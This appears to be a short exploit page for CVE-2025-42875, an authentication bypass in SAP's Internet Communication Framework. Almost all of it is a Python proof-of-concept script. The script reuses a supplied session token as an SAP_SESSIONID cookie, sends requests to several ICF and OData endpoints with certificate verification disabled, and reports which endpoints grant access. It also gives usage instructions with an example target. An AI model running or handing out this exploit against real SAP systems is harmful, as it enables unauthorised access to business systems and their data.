CVE-2025-42875 SAP ICF身份验证绕过漏洞

import requests import sys # CVE-2025-42875 PoC - SAP ICF Authentication Bypass via Token Reuse # Target: SAP Internet Communication Framework # Note: This PoC demonstrates the token reuse attack vector def exploit_sap_icf(target_url, valid_token): """ Exploit SAP ICF by reusing authorization tokens """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Cookie': f'SAP_SESSIONID={valid_token}', 'X-Requested-With': 'XMLHttpRequest' } # Target ICF endpoints that require user identification targets = [ f'{target_url}/sap/public/icf_info', f'{target_url}/sap/bc/icf_info', f'{target_url}/sap/opu/odata/sap/user_info' ] for endpoint in targets: try: response = requests.get(endpoint, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f'[+] Successfully accessed: {endpoint}') print(f' Response length: {len(response.content)} bytes') elif response.status_code == 401: print(f'[-] Authentication required: {endpoint}') else: print(f'[*] Unexpected response: {endpoint} - Status: {response.status_code}') except requests.RequestException as e: print(f'[-] Error accessing {endpoint}: {str(e)}') if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <valid_token>') print('Example: python exploit.py https://sap.example.com:50000 ABC123DEF456') sys.exit(1) target = sys.argv[1] token = sys.argv[2] exploit_sap_icf(target, token)